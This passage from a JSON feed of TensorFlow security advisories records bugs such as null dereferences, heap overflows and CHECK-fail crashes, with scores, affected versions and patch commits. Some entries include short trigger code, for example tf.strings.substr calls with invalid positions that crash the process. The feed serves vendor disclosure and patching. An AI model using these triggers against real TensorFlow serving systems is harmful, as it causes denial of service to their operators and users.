2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.365Z","updated_at":"2024-11-13T21:57:43.000Z","epss_percentage":0.00017,"epss_percentile":0.02794},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXFoMzItNmpqYy1xcHJt","url":"https://github.com/advisories/GHSA-qh32-6jjc-qprm","title":"Null pointer dereference in tensorflow-lite","description":"### Impact\nA crafted TFLite model can force a node to have as input a tensor backed by a `nullptr` buffer. This can be achieved by changing a buffer index in the flatbuffer serialization to convert a read-only tensor to a read-write one. The runtime assumes that these buffers are written to before a possible read, hence they are initialized with `nullptr`:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/core/subgraph.cc#L1224-L1227\n\nHowever, by changing the buffer index for a tensor and implicitly converting that tensor to be a read-write one, as there is nothing in the model that writes to it, we get a null pointer dereference.\n\n### Patches\nWe have patched the issue in 0b5662bc and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 but was also discovered through variant analysis of [GHSA-cvpc-8phh-8f45](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cvpc-8phh-8f45).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qh32-6jjc-qprm","https://github.com/tensorflow/tensorflow/commit/0b5662bc2be13a8c8f044d925d87fb6e56247cd8","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15209","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-289.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-324.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-132.yaml","https://github.com/advisories/GHSA-qh32-6jjc-qprm"],"source_kind":"github","identifiers":["GHSA-qh32-6jjc-qprm","CVE-2020-15209"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":39.91589003223591,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.686Z","updated_at":"2024-10-28T14:48:13.000Z","epss_percentage":0.00357,"epss_percentile":0.56911},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1tcTYtcThyMy00OGZt","url":"https://github.com/advisories/GHSA-mmq6-q8r3-48fm","title":"Crash in `tf.strings.substr` due to `CHECK`-fail","description":"### Impact\nAn attacker can cause a denial of service via `CHECK`-fail in  `tf.strings.substr` with invalid arguments:\n\n```python \nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,-1])\n```\n\n```python\nimport tensorflow as tf\ntf.strings.substr(input='abc', len=1, pos=[1,2])\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [890f7164b70354c57d40eda52dcdd7658677c09f](https://github.com/tensorflow/tensorflow/commit/890f7164b70354c57d40eda52dcdd7658677c09f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#46900](https://github.com/tensorflow/issues/46900) and fixed in [#46974](https://github.com/tensorflow/issues/46974).","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:28:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mmq6-q8r3-48fm","https://nvd.nist.gov/vuln/detail/CVE-2021-29617","https://github.com/tensorflow/tensorflow/commit/890f7164b70354c57d40eda52dcdd7658677c09f","https://github.com/tensorflow/issues/46900","https://github.com/tensorflow/issues/46974","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-545.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-743.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-254.yaml","https://github.com/advisories/GHSA-mmq6-q8r3-48fm"],"source_kind":"github","identifiers":["GHSA-mmq6-q8r3-48fm","CVE-2021-29617"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:45.931Z","updated_at":"2024-11-13T16:28:39.000Z","epss_percentage":0.0005,"epss_percentile":0.15488},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWg2ZmctbWp4Zy1ocXE0","url":"https://github.com/advisories/GHSA-h6fg-mjxg-hqq4","title":"Integer truncation in Shard API usage","description":"### Impact\nThe `Shard` API in TensorFlow expects the last argument to be a function taking two `int64` (i.e., `long long`) arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/util/work_sharder.h#L59-L60\n\nHowever, there are several places in TensorFlow where a lambda taking `int` or `int32` arguments is being used:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L204-L205\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/random_op.cc#L317-L318\n\nIn these cases, if the amount of work to be parallelized is large enough, integer truncation occurs. Depending on how the two arguments of the lambda are used, this can result in segfaults, read/write outside of heap allocated arrays, stack overflows, or data corruption.\n\n### Patches\nWe have patched the issue in 27b417360cbd671ef55915e4bb6bb06af8b8a832 and ca8c013b5e97b1373b3bb1c97ea655e69f31a575. We will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6fg-mjxg-hqq4","https://github.com/tensorflow/tensorflow/commit/27b417360cbd671ef55915e4bb6bb06af8b8a832","https://github.com/tensorflow/tensorflow/commit/ca8c013b5e97b1373b3bb1c97ea655e69f31a575","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15202","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-282.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-317.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-125.yaml","https://github.com/advisories/GHSA-h6fg-mjxg-hqq4"],"source_kind":"github","identifiers":["GHSA-h6fg-mjxg-hqq4","CVE-2020-15202"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.757Z","updated_at":"2024-10-28T21:21:48.000Z","epss_percentage":0.00502,"epss_percentile":0.64591},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA1ZjgtZ2Z3NS0zM3c0","url":"https://github.com/advisories/GHSA-p5f8-gfw5-33w4","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Hence, this code is prone to heap buffer overflow:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L251\n\nIf `split_values` does not end with a value at least `num_values` then the `while` loop condition will trigger a read outside of the bounds of `split_values` once `batch_idx` grows too large. \n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15201","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-281.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-316.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-124.yaml","https://github.com/advisories/GHSA-p5f8-gfw5-33w4"],"source_kind":"github","identifiers":["GHSA-p5f8-gfw5-33w4","CVE-2020-15201"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":30.667086244278806,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.767Z","updated_at":"2024-10-28T21:20:26.000Z","epss_percentage":0.00195,"epss_percentile":0.41958},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXg3cnAtNzR4Mi1tamYz","url":"https://github.com/advisories/GHSA-x7rp-74x2-mjf3","title":"Segfault in Tensorflow","description":"### Impact\nThe `RaggedCountSparseOutput` implementation does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the values in the `splits` tensor generate a valid partitioning of the `values` tensor. Thus, the [following code](https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L248-L265\n) sets up conditions to cause a heap buffer overflow:\n```cc\n    auto per_batch_counts = BatchedMap\u003cW\u003e(num_batches);\n    int batch_idx = 0;\n    for (int idx = 0; idx \u003c num_values; ++idx) {\n      while (idx \u003e= splits_values(batch_idx)) {\n        batch_idx++;\n      }\n      const auto\u0026 value = values_values(idx);\n      if (value \u003e= 0 \u0026\u0026 (maxlength_ \u003c= 0 || value \u003c maxlength_)) {\n        per_batch_counts[batch_idx - 1][value] = 1;\n      }\n    }\n```\n\nA `BatchedMap` is equivalent to a vector where each element is a hashmap. However, if the first element of `splits_values` is not 0, `batch_idx` will never be 1, hence there will be no hashmap at index 0 in `per_batch_counts`. Trying to access that in the user code results in a segmentation fault.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x7rp-74x2-mjf3","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15200","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-280.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-315.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-123.yaml","https://github.com/advisories/GHSA-x7rp-74x2-mjf3"],"source_kind":"github","identifiers":["GHSA-x7rp-74x2-mjf3","CVE-2020-15200"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":39.91589003223591,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.776Z","updated_at":"2024-10-28T21:20:07.000Z","epss_percentage":0.00276,"epss_percentile":0.50567},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXFjNTMtNDRjai12ZnZ4","url":"https://github.com/advisories/GHSA-qc53-44cj-vfvx","title":"Denial of Service in Tensorflow","description":"### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has rank 2. This tensor must be a matrix because code assumes its elements are accessed as elements of a matrix:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L185\n\nHowever, malicious users can pass in tensors of different rank, resulting in a `CHECK` assertion failure and a crash. This can be used to cause denial of service in serving installations, if users are allowed to control the components of the input sparse tensor.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qc53-44cj-vfvx","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15197","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-277.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-312.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-120.yaml","https://github.com/advisories/GHSA-qc53-44cj-vfvx"],"source_kind":"github","identifiers":["GHSA-qc53-44cj-vfvx","CVE-2020-15197"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":23.85217818999463,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.787Z","updated_at":"2024-10-28T20:24:31.000Z","epss_percentage":0.0022,"epss_percentile":0.44721},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJqamctaGd2Ni1oNjl2","url":"https://github.com/advisories/GHSA-rjjg-hgv6-h69v","title":"Memory corruption in Tensorflow","description":"### Impact\nThe implementation of `dlpack.to_dlpack` can be made to use uninitialized memory resulting in further memory corruption. This is because the pybind11 glue code assumes that the argument is a tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/tfe_wrapper.cc#L1361\n\nHowever, there is nothing stopping users from passing in a Python object instead of a tensor.\n```python\nIn [2]: tf.experimental.dlpack.to_dlpack([2])                                                                                                                                            \n==1720623==WARNING: MemorySanitizer: use-of-uninitialized-value                                                                                                                            \n    #0 0x55b0ba5c410a in tensorflow::(anonymous namespace)::GetTensorFromHandle(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:46:7\n    #1 0x55b0ba5c38f4 in tensorflow::TFE_HandleToDLPack(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:252:26\n... \n```\n\nThe uninitialized memory address is due to a `reinterpret_cast`\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/eager/pywrap_tensor.cc#L848-L850\n\nSince the `PyObject` is a Python object, not a TensorFlow Tensor, the cast to `EagerTensor` fails. \n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v","https://github.com/tensorflow/tensorflow/commit/22e07fb204386768e5bcbea563641ea11f96ceb8","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15193","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-273.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-308.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-116.yaml","https://github.com/advisories/GHSA-rjjg-hgv6-h69v"],"source_kind":"github","identifiers":["GHSA-rjjg-hgv6-h69v","CVE-2020-15193"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.808Z","updated_at":"2024-10-28T20:17:49.000Z","epss_percentage":0.00215,"epss_percentile":0.44205},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE4cWotZmM5cS1jcGhy","url":"https://github.com/advisories/GHSA-q8qj-fc9q-cphr","title":"Undefined behavior in Tensorflow","description":"### Impact\nIf a user passes an invalid argument to `dlpack.to_dlpack` the expected validations will cause variables to bind to `nullptr` while setting a `status` variable to the error condition.\n\nHowever, this `status` argument is not properly checked:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L265-L267\n\nHence, code following these methods will bind references to null pointers:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/c/eager/dlpack.cc#L279-L285\n\nThis is undefined behavior and reported as an error if compiling with `-fsanitize=null`.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered during variant analysis of [GHSA-rjjg-hgv6-h69v](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rjjg-hgv6-h69v).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q8qj-fc9q-cphr","https://github.com/tensorflow/tensorflow/commit/22e07fb204386768e5bcbea563641ea11f96ceb8","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15191","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-271.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-306.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-114.yaml","https://github.com/advisories/GHSA-q8qj-fc9q-cphr"],"source_kind":"github","identifiers":["GHSA-q8qj-fc9q-cphr","CVE-2020-15191"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.817Z","updated_at":"2024-10-28T14:53:44.000Z","epss_percentage":0.00246,"epss_percentile":0.47855},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTltcXAtN3YyaC0yMzgy","url":"https://github.com/advisories/GHSA-9mqp-7v2h-2382","title":"Denial of Service in Tensorflow","description":"### Impact\nThe `SparseFillEmptyRowsGrad` implementation has incomplete validation of the shapes of its arguments:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L235-L241\n\nAlthough `reverse_index_map_t` and `grad_values_t` are accessed in a similar pattern, only `reverse_index_map_t` is validated to be of proper shape. Hence, malicious users can pass a bad `grad_values_t` to trigger an assertion failure in `vec`, causing denial of service in serving installations.\n\n### Patches\nWe have patched the issue in 